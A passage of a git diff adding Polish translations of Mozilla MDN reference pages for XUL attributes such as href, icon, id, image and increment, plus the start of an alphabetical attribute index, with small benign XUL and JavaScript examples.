+<dl><dt> <code id="a-href"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/href">href</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Definiuje adres URL do otworzenia, w momencie naciśnięcia elementu. Żąda atrybutu <code>class</code>, by włączyć <a href="pl/XUL/Styl/text-link">text-link</a>.
+</dd></dl>
+<div class="noinclude">
+<pre class="eval">&lt;label href="<span class="nowiki">http://example.com</span>" class="text-link" value="Naciśnij tu, aby przejść do example.com"/&gt;
+</pre>
+<p><br>
+</p>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/icon/index.html b/files/pl/mozilla/tech/xul/atrybut/icon/index.html
new file mode 100644
index 0000000000..c09c4c1329
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/icon/index.html
@@ -0,0 +1,18 @@
+---
+title: icon
+slug: Mozilla/Tech/XUL/Atrybut/icon
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/icon
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-icon"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/icon">icon</a></code>
+</dt><dd> <b><span class="highlightgreen">Mozilla 1.8</span></b>
+</dd><dd> Typ: <i>string</i>
+</dd><dd> Ten atrybut powinien być używany dla przycisków związanych z typowymi zadaniami. Niektóre platformy (GNOME - przyp. tłum.) wyświetlają te przyciski z małymi ikonami sygnalizującymi ich zastosowanie. Atrybut ten w pewnym sensie zastępuje atrybut <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>. Możliwe wartości: <code>accept</code>, <code>cancel</code>, <code>help</code>, <code>open</code>, <code>save</code>, <code>find</code>, <code>clear</code>, <code>yes</code>, <code>no</code>, <code>apply</code>, <code>close</code>, <code>print</code>, <code>add</code>, <code>remove</code>, <code>refresh</code>, <code>go-forward</code>, <code>go-back</code>, <code>properties</code>, <code>select-font</code>, <code>select-color</code>, <code>network</code>. Jeśli tworzony przycisk wiąże się z jednym z powyższych zastosowań, należy to zasygnalizować poprzez odpowiednie ustawienie atrybutu <code>icon</code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/id/index.html b/files/pl/mozilla/tech/xul/atrybut/id/index.html
new file mode 100644
index 0000000000..f9fc9f811d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/id/index.html
@@ -0,0 +1,37 @@
+---
+title: id
+slug: Mozilla/Tech/XUL/Atrybut/id
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/id
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>
+</dt><dd> Typ: <i>id elementu, musi być unikatowym identyfikatorem w oknie</i>
+</dd><dd> Unikatowy identyfikator, który będzie identyfikował się z elementem. Możemy go zastosować jako parametr do <code><a href="pl/DOM/document.getElementById">getElementById()</a></code> i innych funkcji DOM oraz jako odniesienie do elementu w arkuszach stylu. </dd></dl>
+<div class="noinclude">
+<h4 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h4>
+<pre>&lt;button id="foo" label="Click Me" oncommand="doSomething()"/&gt;
+
+&lt;script&gt;
+function doSomething(){
+ var myButton = document.getElementById('foo');
+ myButton.setAttribute('label','The button was pressed');
+}
+&lt;/script&gt;
+</pre>
+<p>Więcej abstrakcyjnych wersji powyższego przykładu będzie:
+</p>
+<pre>&lt;button id="foo" label="Click Me" oncommand="setWidgetLabel(this, 'I was pressed')"/&gt;
+&lt;script&gt;
+function setWidgetLabel(idName, newCaption){
+ document.getElementById( idName.id ).setAttribute('label',newCaption)
+}
+
+&lt;/script&gt;
+</pre>
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+<p><code><code id="a-name"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/name">name</a></code></code>
+</p>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/ignoreblurwhilesearching/index.html b/files/pl/mozilla/tech/xul/atrybut/ignoreblurwhilesearching/index.html
new file mode 100644
index 0000000000..c97912d03d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/ignoreblurwhilesearching/index.html
@@ -0,0 +1,12 @@
+---
+title: ignoreblurwhilesearching
+slug: Mozilla/Tech/XUL/Atrybut/ignoreBlurWhileSearching
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/ignoreBlurWhileSearching
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-ignoreblurwhilesearching"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ignoreblurwhilesearching">ignoreblurwhilesearching</a></code> </dt><dd> Typ: <em>boolean</em> </dd><dd> Jeśli <code>true</code>, zdarzenia blur są ignorowane podczas szukania, co znaczy, że automatyczne wyskakujące okienka nie znikną. </dd> </dl>
+
+<p></p>
diff --git a/files/pl/mozilla/tech/xul/atrybut/ignoreincolumnpicker/index.html b/files/pl/mozilla/tech/xul/atrybut/ignoreincolumnpicker/index.html
new file mode 100644
index 0000000000..7a5a1c9fa1
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/ignoreincolumnpicker/index.html
@@ -0,0 +1,16 @@
+---
+title: ignoreincolumnpicker
+slug: Mozilla/Tech/XUL/Atrybut/ignoreincolumnpicker
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/ignoreincolumnpicker
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-ignoreincolumnpicker"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ignoreincolumnpicker">ignoreincolumnpicker</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli <code>true</code>, kolumna nie zostanie wyświetlona w zbiorze kolumn. </dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/ignorekeys/index.html b/files/pl/mozilla/tech/xul/atrybut/ignorekeys/index.html
new file mode 100644
index 0000000000..73bfce071a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/ignorekeys/index.html
@@ -0,0 +1,17 @@
+---
+title: ignorekeys
+slug: Mozilla/Tech/XUL/Atrybut/ignorekeys
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/ignorekeys
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-ignorekeys"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ignorekeys">ignorekeys</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli <code>true</code>, poruszanie się za pomocą klawiatury pomiędzy różnymi pozycjami w okienku popup jest wyłączone.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/image/index.html b/files/pl/mozilla/tech/xul/atrybut/image/index.html
new file mode 100644
index 0000000000..dc5c2f641b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/image/index.html
@@ -0,0 +1,18 @@
+---
+title: image
+slug: Mozilla/Tech/XUL/Atrybut/image
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/image
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-image"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/image">image</a></code>
+</dt><dd> Typ: <i>adres URL obrazka</i>
+</dd><dd> Adres URL obrazka do wyświetlenia na elemencie. Jeśli ten atrybut zostanie opuszczony, to żaden obrazek nie zostanie wyświetlony. Pozycja obrazka jest określona przez atrybuty <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code> i <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>.
+</dd></dl>
+<div class="noinclude">
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+<p>Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/image" title="image">image</a></code></code>
+</p>
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/increment/index.html b/files/pl/mozilla/tech/xul/atrybut/increment/index.html
new file mode 100644
index 0000000000..0dd9b7c843
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/increment/index.html
@@ -0,0 +1,21 @@
+---
+title: increment
+slug: Mozilla/Tech/XUL/Atrybut/increment
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/increment
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-increment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/increment">increment</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ integer</i>
+ </dd>
+ <dd>
+ Wynosi tyle co wartość atrybutu <code id="a-curpos"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/curpos">curpos</a></code>&lt;magic name="\"PAGENAME\"/"&gt; (dla pasków przewijania) lub <code id="a-value"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/value">value</a></code> (dla pudełek liczbowych)&lt;/magic&gt; zmienionego, gdy strzałka na pasku przewijania jest naciśnięta. Domyślnie posiada wartość równą 1.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/index.html b/files/pl/mozilla/tech/xul/atrybut/index.html
new file mode 100644
index 0000000000..119b0b8fee
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/index.html
@@ -0,0 +1,274 @@
+---
+title: Atrybuty
+slug: Mozilla/Tech/XUL/Atrybut
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute
+---
+<p><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span>
+</p>
+<ul><li> <a href="pl/XUL/Atrybut/acceltext">acceltext</a>
+</li><li> <a href="pl/XUL/Atrybut/accessible">accessible</a>
+</li><li> <a href="pl/XUL/Atrybut/accesskey">accesskey</a>
+</li><li> <a href="pl/XUL/Atrybut/afterselected">afterselected</a>
+</li><li> <a href="pl/XUL/Atrybut/align">align</a>
+</li><li> <a href="pl/XUL/Atrybut/allowevents">allowevents</a>
+</li><li> <a href="pl/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a>
+</li><li> <a href="pl/XUL/Atrybut/alternatingbackground">alternatingbackground</a>
+</li><li> <a href="pl/XUL/Atrybut/alwaysopenpopup">alwaysopenpopup</a>
+</li><li> <a href="pl/XUL/Atrybut/attribute">attribute</a>
+</li><li> <a href="pl/XUL/Atrybut/autocheck">autocheck</a>
+</li><li> <a href="pl/XUL/Atrybut/autoCheck">autoCheck</a>
+</li><li> <a href="pl/XUL/Atrybut/autocompleteenabled">autocompleteenabled</a>
+</li><li> <a href="pl/XUL/Atrybut/autocompletepopup">autocompletepopup</a>
+</li><li> <a href="pl/XUL/Atrybut/autocompletesearch">autocompletesearch</a>
+</li><li> <a href="pl/XUL/Atrybut/autocompletesearchparam">autocompletesearchparam</a>
+</li><li> <a href="pl/XUL/Atrybut/autoFill">autoFill</a>
+</li><li> <a href="pl/XUL/Atrybut/autoFillAfterMatch">autoFillAfterMatch</a>
+</li><li> <a href="pl/XUL/Atrybut/autoscroll">autoscroll</a>
+</li><li> <a href="pl/XUL/Atrybut/beforeselected">beforeselected</a>
+</li><li> <a href="pl/XUL/Atrybut/buttonaccesskeyaccept">buttonaccesskeyaccept</a>
+</li><li> <a href="pl/XUL/Atrybut/buttonaccesskeycancel">buttonaccesskeycancel</a>
+</li><li> <a href="pl/XUL/Atrybut/buttonaccesskeydisclosure">buttonaccesskeydisclosure</a>
+</li><li> <a href="pl/XUL/Atrybut/buttonaccesskeyextra1">buttonaccesskeyextra1</a>
+</li><li> <a href="pl/XUL/Atrybut/buttonaccesskeyextra2">buttonaccesskeyextra2</a>
+</li><li> <a href="pl/XUL/Atrybut/buttonaccesskeyhelp">buttonaccesskeyhelp</a>
+</li><li> <a href="pl/XUL/Atrybut/buttonalign">buttonalign</a>
+</li><li> <a href="pl/XUL/Atrybut/buttondir">buttondir</a>
+</li><li> <a href="pl/XUL/Atrybut/buttonlabelaccept">buttonlabelaccept</a>
+</li><li> <a href="pl/XUL/Atrybut/buttonlabelcancel">buttonlabelcancel</a>
+</li><li> <a href="pl/XUL/Atrybut/buttonlabeldisclosure">buttonlabeldisclosure</a>
+</li><li> <a href="pl/XUL/Atrybut/buttonlabelextra1">buttonlabelextra1</a>
+</li><li> <a href="pl/XUL/Atrybut/buttonlabelextra2">buttonlabelextra2</a>
+</li><li> <a href="pl/XUL/Atrybut/buttonlabelhelp">buttonlabelhelp</a>
+</li><li> <a href="pl/XUL/Atrybut/buttonorient">buttonorient</a>
+</li><li> <a href="pl/XUL/Atrybut/buttonpack">buttonpack</a>
+</li><li> <a href="pl/XUL/Atrybut/buttons">buttons</a>
+</li><li> <a href="pl/XUL/Atrybut/checked">checked</a>
+</li><li> <a href="pl/XUL/Atrybut/checkState">checkState</a>
+</li><li> <a href="pl/XUL/Atrybut/class">class</a>
+</li><li> <a href="pl/XUL/Atrybut/closebutton">closebutton</a>
+</li><li> <a href="pl/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a>
+</li><li> <a href="pl/XUL/Atrybut/collapse">collapse</a>
+</li><li> <a href="pl/XUL/Atrybut/collapsed">collapsed</a>
+</li><li> <a href="pl/XUL/Atrybut/color">color</a>
+</li><li> <a href="pl/XUL/Atrybut/cols">cols</a>
+</li><li> <a href="pl/XUL/Atrybut/command">command</a>
+</li><li> <a href="pl/XUL/Atrybut/commandupdater">commandupdater</a>
+</li><li> <a href="pl/XUL/Atrybut/completedefaultindex">completedefaultindex</a>
+</li><li> <a href="pl/XUL/Atrybut/container">container</a>
+</li><li> <a href="pl/XUL/Atrybut/containment">containment</a>
+</li><li> <a href="pl/XUL/Atrybut/contentcontextmenu">contentcontextmenu</a>
+</li><li> <a href="pl/XUL/Atrybut/contenttooltip">contenttooltip</a>
+</li><li> <a href="pl/XUL/Atrybut/context">context</a>
+</li><li> <a href="pl/XUL/Atrybut/contextmenu">contextmenu</a>
+</li><li> <a href="pl/XUL/Atrybut/control">control</a>
+</li><li> <a href="pl/XUL/Atrybut/crop">crop</a>
+</li><li> <a href="pl/XUL/Atrybut/curpos">curpos</a>
+</li><li> <a href="pl/XUL/Atrybut/current">current</a>
+</li><li> <a href="pl/XUL/Atrybut/currentset">currentset</a>
+</li><li> <a href="pl/XUL/Atrybut/customindex">customindex</a>
+</li><li> <a href="pl/XUL/Atrybut/customizable">customizable</a>
+</li><li> <a href="pl/XUL/Atrybut/cycler">cycler</a>
+</li><li> <a href="pl/XUL/Atrybut/datasources">datasources</a>
+</li><li> <a href="pl/XUL/Atrybut/default">default</a>
+</li><li> <a href="pl/XUL/Atrybut/defaultButton">defaultButton</a>
+</li><li> <a href="pl/XUL/Atrybut/defaultset">defaultset</a>
+</li><li> <a href="pl/XUL/Atrybut/description">description</a>
+</li><li> <a href="pl/XUL/Atrybut/dir">dir</a>
+</li><li> <a href="pl/XUL/Atrybut/disableAutocomplete">disableAutocomplete</a>
+</li><li> <a href="pl/XUL/Atrybut/disableautocomplete">disableautocomplete</a>
+</li><li> <a href="pl/XUL/Atrybut/disableautoselect">disableautoselect</a>
+</li><li> <a href="pl/XUL/Atrybut/disableclose">disableclose</a>
+</li><li> <a href="pl/XUL/Atrybut/disabled">disabled</a>
+</li><li> <a href="pl/XUL/Atrybut/disablehistory">disablehistory</a>
+</li><li> <a href="pl/XUL/Atrybut/disableKeyNavigation">disableKeyNavigation</a>
+</li><li> <a href="pl/XUL/Atrybut/disablekeynavigation">disablekeynavigation</a>
+</li><li> <a href="pl/XUL/Atrybut/disablesecurity">disablesecurity</a>
+</li><li> <a href="pl/XUL/Atrybut/dlgType">dlgType</a>
+</li><li> <a href="pl/XUL/Atrybut/dragging">dragging</a>
+</li><li> <a href="pl/XUL/Atrybut/editable">editable</a>
+</li><li> <a href="pl/XUL/Atrybut/editortype">editortype</a>
+</li><li> <a href="pl/XUL/Atrybut/element">element</a>
+</li><li> <a href="pl/XUL/Atrybut/empty">empty</a>
+</li><li> <a href="pl/XUL/Atrybut/enableColumnDrag">enableColumnDrag</a>
+</li><li> <a href="pl/XUL/Atrybut/enablehistory">enablehistory</a>
+</li><li> <a href="pl/XUL/Atrybut/equalsize">equalsize</a>
+</li><li> <a href="pl/XUL/Atrybut/eventnode">eventnode</a>
+</li><li> <a href="pl/XUL/Atrybut/events">events</a>
+</li><li> <a href="pl/XUL/Atrybut/firstpage">firstpage</a>
+</li><li> <a href="pl/XUL/Atrybut/first-tab">first-tab</a>
+</li><li> <a href="pl/XUL/Atrybut/fixed">fixed</a>
+</li><li> <a href="pl/XUL/Atrybut/flags">flags</a>
+</li><li> <a href="pl/XUL/Atrybut/flex">flex</a>
+</li><li> <a href="pl/XUL/Atrybut/focused">focused</a>
+</li><li> <a href="pl/XUL/Atrybut/forceComplete">forceComplete</a>
+</li><li> <a href="pl/XUL/Atrybut/forcecomplete">forcecomplete</a>
+</li><li> <a href="pl/XUL/Atrybut/grippyhidden">grippyhidden</a>
+</li><li> <a href="pl/XUL/Atrybut/grippytooltiptext">grippytooltiptext</a>
+</li><li> <a href="pl/XUL/Atrybut/group">group</a>
+</li><li> <a href="pl/XUL/Atrybut/handleCtrlPageUpDown">handleCtrlPageUpDown</a>
+</li><li> <a href="pl/XUL/Atrybut/handleCtrlTab">handleCtrlTab</a>
+</li><li> <a href="pl/XUL/Atrybut/height">height</a>
+</li><li> <a href="pl/XUL/Atrybut/helpURI">helpURI</a>
+</li><li> <a href="pl/XUL/Atrybut/hidden">hidden</a>
+</li><li> <a href="pl/XUL/Atrybut/hidechrome">hidechrome</a>
+</li><li> <a href="pl/XUL/Atrybut/hidecolumnpicker">hidecolumnpicker</a>
+</li><li> <a href="pl/XUL/Atrybut/hideheader">hideheader</a>
+</li><li> <a href="pl/XUL/Atrybut/homepage">homepage</a>
+</li><li> <a href="pl/XUL/Atrybut/icon">icon</a>
+</li><li> <a href="pl/XUL/Atrybut/id">id</a>
+</li><li> <a href="pl/XUL/Atrybut/ignoreBlurWhileSearching">ignoreBlurWhileSearching</a>
+</li><li> <a href="pl/XUL/Atrybut/ignoreblurwhilesearching">ignorebluewhilesearching</a>
+</li><li> <a href="pl/XUL/Atrybut/ignorecolumnpicker">ignorecolumnpicker</a>
+</li><li> <a href="pl/XUL/Atrybut/ignorekeys">ignorekeys</a>
+</li><li> <a href="pl/XUL/Atrybut/image">image</a>
+</li><li> <a href="pl/XUL/Atrybut/increment">increment</a>
+</li><li> <a href="pl/XUL/Atrybut/inputtooltiptext">inputtooltiptext</a>
+</li><li> <a href="pl/XUL/Atrybut/insertafter">insertafter</a>
+</li><li> <a href="pl/XUL/Atrybut/insertbefore">insertbefore</a>
+</li><li> <a href="pl/XUL/Atrybut/instantApply">instantApply</a>
+</li><li> <a href="pl/XUL/Atrybut/inverted">inverted</a>
+</li><li> <a href="pl/XUL/Atrybut/iscontainer">iscontainer</a>
+</li><li> <a href="pl/XUL/Atrybut/isempty">isempty</a>
+</li><li> <a href="pl/XUL/Atrybut/key">key</a>
+</li><li> <a href="pl/XUL/Atrybut/keycode">keycode</a>
+</li><li> <a href="pl/XUL/Atrybut/keytext">keytext</a>
+</li><li> <a href="pl/XUL/Atrybut/label">label</a>
+</li><li> <a href="pl/XUL/Atrybut/lastpage">lastpage</a>
+</li><li> <a href="pl/XUL/Atrybut/lastSelected">lastSelected</a>
+</li><li> <a href="pl/XUL/Atrybut/last-tab">last-tab</a>
+</li><li> <a href="pl/XUL/Atrybut/left">left</a>
+</li><li> <a href="pl/XUL/Atrybut/linkedpanel">linkedpanel</a>
+</li><li> <a href="pl/XUL/Atrybut/maxheight">maxheight</a>
+</li><li> <a href="pl/XUL/Atrybut/maxlength">maxlength</a>
+</li><li> <a href="pl/XUL/Atrybut/maxpos">maxpos</a>
+</li><li> <a href="pl/XUL/Atrybut/maxrows">maxrows</a>
+</li><li> <a href="pl/XUL/Atrybut/maxwidth">maxwidth</a>
+</li><li> <a href="pl/XUL/Atrybut/member">member</a>
+</li><li> <a href="pl/XUL/Atrybut/menu">menu</a>
+</li><li> <a href="pl/XUL/Atrybut/menuactive">menuactive</a>
+</li><li> <a href="pl/XUL/Atrybut/minheight">minheight</a>
+</li><li> <a href="pl/XUL/Atrybut/minResultsForPopup">minResultsForPopup</a>
+</li><li> <a href="pl/XUL/Atrybut/minresultsforpopup">minresultsforpopup</a>
+</li><li> <a href="pl/XUL/Atrybut/minwidth">minwidth</a>
+</li><li> <a href="pl/XUL/Atrybut/mode">mode</a>
+</li><li> <a href="pl/XUL/Atrybut/modifiers">modifiers</a>
+</li><li> <a href="pl/XUL/Atrybut/mousethrough">mousethrough</a>
+</li><li> <a href="pl/XUL/Atrybut/multiline">multiline</a>
+</li><li> <a href="pl/XUL/Atrybut/name">name</a>
+</li><li> <a href="pl/XUL/Atrybut/next">next</a>
+</li><li> <a href="pl/XUL/Atrybut/noautohide">noautohide</a>
+</li><li> <a href="pl/XUL/Atrybut/nomatch">nomatch</a>
+</li><li> <a href="pl/XUL/Atrybut/observes">observes</a>
+</li><li> <a href="pl/XUL/Atrybut/onbeforeaccept">onbeforeaccept</a>
+</li><li> <a href="pl/XUL/Atrybut/onbookmarkgroup">onbookmarkgroup</a>
+</li><li> <a href="pl/XUL/Atrybut/onchange">onchange</a>
+</li><li> <a href="pl/XUL/Atrybut/onclosetab">onclosetab</a>
+</li><li> <a href="pl/XUL/Atrybut/oncommand">oncommand</a>
+</li><li> <a href="pl/XUL/Atrybut/oncommandupdate">oncommandupdate</a>
+</li><li> <a href="pl/XUL/Atrybut/ondialogaccept">ondialogaccept</a>
+</li><li> <a href="pl/XUL/Atrybut/ondialogcancel">ondialogcancel</a>
+</li><li> <a href="pl/XUL/Atrybut/ondialogdisclosure">ondialogclosure</a>
+</li><li> <a href="pl/XUL/Atrybut/ondialoghelp">ondialoghelp</a>
+</li><li> <a href="pl/XUL/Atrybut/onerror">onerror</a>
+</li><li> <a href="pl/XUL/Atrybut/onerrorcommand">onerrorcommand</a>
+</li><li> <a href="pl/XUL/Atrybut/oninput">oninput</a>
+</li><li> <a href="pl/XUL/Atrybut/onload">onload</a>
+</li><li> <a href="pl/XUL/Atrybut/onnewtab">onnewtab</a>
+</li><li> <a href="pl/XUL/Atrybut/onpageadvanced">onpageadvanced</a>
+</li><li> <a href="pl/XUL/Atrybut/onpagehide">onpagehide</a>
+</li><li> <a href="pl/XUL/Atrybut/onpagerewound">onpagerewound</a>
+</li><li> <a href="pl/XUL/Atrybut/onpageshow">onpageshow</a>
+</li><li> <a href="pl/XUL/Atrybut/onpanelload">onpanelload</a>
+</li><li> <a href="pl/XUL/Atrybut/onpopuphidden">onpopuphidden</a>
+</li><li> <a href="pl/XUL/Atrybut/onpopuphiding">onpopuphiding</a>
+</li><li> <a href="pl/XUL/Atrybut/onpopupshowing">onpopupshowing</a>
+</li><li> <a href="pl/XUL/Atrybut/onpopupshown">onpopupshown</a>
+</li><li> <a href="pl/XUL/Atrybut/onsearchcomplete">onsearchcomplete</a>
+</li><li> <a href="pl/XUL/Atrybut/onselect">onselect</a>
+</li><li> <a href="pl/XUL/Atrybut/ontextcommand">ontextcommand</a>
+</li><li> <a href="pl/XUL/Atrybut/ontextentered">ontextentered</a>
+</li><li> <a href="pl/XUL/Atrybut/ontextrevert">ontextrevert</a>
+</li><li> <a href="pl/XUL/Atrybut/ontextreverted">ontextreverted</a>
+</li><li> <a href="pl/XUL/Atrybut/onwizardback">onwizardback</a>
+</li><li> <a href="pl/XUL/Atrybut/onwizardcancel">onwizardcancel</a>
+</li><li> <a href="pl/XUL/Atrybut/onwizardfinish">onwizardfinish</a>
+</li><li> <a href="pl/XUL/Atrybut/onwizardnext">onwizardnext</a>
+</li><li> <a href="pl/XUL/Atrybut/open">open</a>
+</li><li> <a href="pl/XUL/Atrybut/ordinal">ordinal</a>
+</li><li> <a href="pl/XUL/Atrybut/orient">orient</a>
+</li><li> <a href="pl/XUL/Atrybut/pack">pack</a>
+</li><li> <a href="pl/XUL/Atrybut/pageid">pageid</a>
+</li><li> <a href="pl/XUL/Atrybut/pageincrement">pageincrement</a>
+</li><li> <a href="pl/XUL/Atrybut/pagestep">pagestep</a>
+</li><li> <a href="pl/XUL/Atrybut/parent">parent</a>
+</li><li> <a href="pl/XUL/Atrybut/parsetype">parsetype</a>
+</li><li> <a href="pl/XUL/Atrybut/persist">persist</a>
+</li><li> <a href="pl/XUL/Atrybut/phase">phase</a>
+</li><li> <a href="pl/XUL/Atrybut/pickertooltiptext">pickertooltiptext</a>
+</li><li> <a href="pl/XUL/Atrybut/popup">popup</a>
+</li><li> <a href="pl/XUL/Atrybut/position">position</a>
+</li><li> <a href="pl/XUL/Atrybut/preference">preference</a>
+</li><li> <a href="pl/XUL/Atrybut/preference-editable">preference-editable</a>
+</li><li> <a href="pl/XUL/Atrybut/primary">primary</a>
+</li><li> <a href="pl/XUL/Atrybut/properties">properties</a>
+</li><li> <a href="pl/XUL/Atrybut/readonly">readonly</a>
+</li><li> <a href="pl/XUL/Atrybut/ref">ref</a>
+</li><li> <a href="pl/XUL/Atrybut/removeelement">removeelement</a>
+</li><li> <a href="pl/XUL/Atrybut/resizeafter">resizeafter</a>
+</li><li> <a href="pl/XUL/Atrybut/resizebefore">resizebefore</a>
+</li><li> <a href="pl/XUL/Atrybut/rows">rows</a>
+</li><li> <a href="pl/XUL/Atrybut/screenX">screenX</a>
+</li><li> <a href="pl/XUL/Atrybut/screenY">screenY</a>
+</li><li> <a href="pl/XUL/Atrybut/searchSessions">searchSessions</a>
+</li><li> <a href="pl/XUL/Atrybut/selected">selected</a>
+</li><li> <a href="pl/XUL/Atrybut/selectedIndex">selectedIndex</a>
+</li><li> <a href="pl/XUL/Atrybut/seltype">seltype</a>
+</li><li> <a href="pl/XUL/Atrybut/setfocus">setfocus</a>
+</li><li> <a href="pl/XUL/Atrybut/showCommentColumn">showCommentColumn</a>
+</li><li> <a href="pl/XUL/Atrybut/showcommentcolumn">showcommentcolumn</a>
+</li><li> <a href="pl/XUL/Atrybut/showpopup">showpopup</a>
+</li><li> <a href="pl/XUL/Atrybut/size">size</a>
+</li><li> <a href="pl/XUL/Atrybut/sizemode">sizemode</a>
+</li><li> <a href="pl/XUL/Atrybut/sizetopopup">sizetopopup</a>
+</li><li> <a href="pl/XUL/Atrybut/sort">sort</a>
+</li><li> <a href="pl/XUL/Atrybut/sortActive">sortActive</a>
+</li><li> <a href="pl/XUL/Atrybut/sortDirection">sortDirection</a>
+</li><li> <a href="pl/XUL/Atrybut/sortResource">sortResource</a>
+</li><li> <a href="pl/XUL/Atrybut/sortResource2">sortResource2</a>
+</li><li> <a href="pl/XUL/Atrybut/src">src</a>
+</li><li> <a href="pl/XUL/Atrybut/state">state</a>
+</li><li> <a href="pl/XUL/Atrybut/statedatasource">statedatasource</a>
+</li><li> <a href="pl/XUL/Atrybut/statusbar">statusbar</a>
+</li><li> <a href="pl/XUL/Atrybut/statustext">statustext</a>
+</li><li> <a href="pl/XUL/Atrybut/style">style</a>
+</li><li> <a href="pl/XUL/Atrybut/substate">substate</a>
+</li><li> <a href="pl/XUL/Atrybut/suppressonselect">suppressonselect</a>
+</li><li> <a href="pl/XUL/Atrybut/tabindex">tabindex</a>
+</li><li> <a href="pl/XUL/Atrybut/tabScrolling">tabScrolling</a>
+</li><li> <a href="pl/XUL/Atrybut/tabscrolling">tabscrolling</a>
+</li><li> <a href="pl/XUL/Atrybut/targets">targets</a>
+</li><li> <a href="pl/XUL/Atrybut/template">template</a>
+</li><li> <a href="pl/XUL/Atrybut/timeout">timeout</a>
+</li><li> <a href="pl/XUL/Atrybut/title">title</a>
+</li><li> <a href="pl/XUL/Atrybut/toolbarname">toolbarname</a>
+</li><li> <a href="pl/XUL/Atrybut/tooltip">tooltip</a>
+</li><li> <a href="pl/XUL/Atrybut/tooltiptext">tooltiptext</a>
